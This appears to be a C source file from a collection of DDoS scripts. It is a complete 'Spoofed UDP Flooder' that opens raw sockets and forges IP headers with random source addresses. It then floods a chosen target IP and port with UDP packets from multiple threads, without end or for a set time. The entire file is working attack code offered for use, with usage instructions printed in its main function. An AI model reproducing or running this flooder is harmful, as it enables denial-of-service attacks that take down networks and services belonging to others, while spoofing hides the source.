Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/sudp.c
4622 views
#include <time.h>1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/ip.h>8#include <netinet/udp.h>910#define MAX_PACKET_SIZE 409611#define PHI 0x9e3779b91213static uint32_t Q[4096], c = 362436;1415struct thread_data{16int throttle;17int thread_id;18unsigned int floodport;19struct sockaddr_in sin;20};2122void init_rand(uint32_t x)23{24int i;2526Q[0] = x;27Q[1] = x + PHI;28Q[2] = x + PHI + PHI;2930for (i = 3; i < 4096; i++)31Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;32}3334uint32_t rand_cmwc(void)35{36uint64_t t, a = 18782LL;37static uint32_t i = 4095;38uint32_t x, r = 0xfffffffe;39i = (i + 1) & 4095;40t = a * Q[i] + c;41c = (t >> 32);42x = t + c;43if (x < c) {44x++;45c++;46}47return (Q[i] = r - x);48}4950char *myStrCat (char *s, char *a) {51while (*s != '\0') s++;52while (*a != '\0') *s++ = *a++;53*s = '\0';54return s;55}5657char *replStr (char *str, size_t count) {58if (count == 0) return NULL;59char *ret = malloc (strlen (str) * count + count);60if (ret == NULL) return NULL;61*ret = '\0';62char *tmp = myStrCat (ret, str);63while (--count > 0) {64tmp = myStrCat (tmp, str);65}66return ret;67}686970/* function for header checksums */71unsigned short csum (unsigned short *buf, int nwords)72{73unsigned long sum;74for (sum = 0; nwords > 0; nwords--)75sum += *buf++;76sum = (sum >> 16) + (sum & 0xffff);77sum += (sum >> 16);78return (unsigned short)(~sum);79}80void setup_ip_header(struct iphdr *iph)81{82iph->ihl = 5;83iph->version = 4;84iph->tos = 0;85iph->tot_len = sizeof(struct iphdr) + 1028;86iph->id = htonl(54321);87iph->frag_off = 0;88iph->ttl = MAXTTL;89iph->protocol = IPPROTO_UDP;90iph->check = 0;9192// Initial IP, changed later in infinite loop93iph->saddr = inet_addr("192.168.3.100");94}9596void setup_udp_header(struct udphdr *udph)97{98udph->source = htons(5678);99udph->check = 0;100char *data = (char *)udph + sizeof(struct udphdr);101data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);102udph->len=htons(1028);103}104105void *flood(void *par1)106{107struct thread_data *td = (struct thread_data *)par1;108fprintf(stdout, "Thread %d started\n", td->thread_id);109char datagram[MAX_PACKET_SIZE];110struct iphdr *iph = (struct iphdr *)datagram;111struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);112struct sockaddr_in sin = td->sin;113char new_ip[sizeof "255.255.255.255"];114115int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);116if(s < 0){117fprintf(stderr, "Could not open raw socket.\n");118exit(-1);119}120121unsigned int floodport = td->floodport;122123// Clear the data124memset(datagram, 0, MAX_PACKET_SIZE);125126// Set appropriate fields in headers127setup_ip_header(iph);128setup_udp_header(udph);129130udph->dest = htons(floodport);131132iph->daddr = sin.sin_addr.s_addr;133iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);134135int tmp = 1;136const int *val = &tmp;137if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){138fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");139exit(-1);140}141142int throttle = td->throttle;143144uint32_t random_num;145uint32_t ul_dst;146init_rand(time(NULL));147if(throttle == 0){148while(1){149sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));150random_num = rand_cmwc();151152ul_dst = (random_num >> 24 & 0xFF) << 24 |153(random_num >> 16 & 0xFF) << 16 |154(random_num >> 8 & 0xFF) << 8 |155(random_num & 0xFF);156157iph->saddr = ul_dst;158udph->source = htons(random_num & 0xFFFF);159iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);160}161} else {162while(1){163throttle = td->throttle;164sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));165random_num = rand_cmwc();166167ul_dst = (random_num >> 24 & 0xFF) << 24 |168(random_num >> 16 & 0xFF) << 16 |169(random_num >> 8 & 0xFF) << 8 |170(random_num & 0xFF);171172iph->saddr = ul_dst;173udph->source = htons(random_num & 0xFFFF);174iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);175176while(--throttle);177}178}179}180int main(int argc, char *argv[ ])181{182if(argc < 5){183fprintf(stderr, "Invalid parameters!\n");184fprintf(stdout, "Spoofed UDP Flooder v2.5.3 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n", argv[0]);185exit(-1);186}187188fprintf(stdout, "Setting up Sockets...\n");189190int num_threads = atoi(argv[4]);191unsigned int floodport = atoi(argv[2]);192pthread_t thread[num_threads];193struct sockaddr_in sin;194195sin.sin_family = AF_INET;196sin.sin_port = htons(floodport);197sin.sin_addr.s_addr = inet_addr(argv[1]);198199struct thread_data td[num_threads];200201int i;202for(i = 0;i<num_threads;i++){203td[i].thread_id = i;204td[i].sin = sin;205td[i].floodport = floodport;206td[i].throttle = atoi(argv[3]);207pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);208}209fprintf(stdout, "Starting Flood...\n");210if(argc > 5)211{212sleep(atoi(argv[5]));213} else {214while(1){215sleep(1);216}217}218219return 0;220}221222223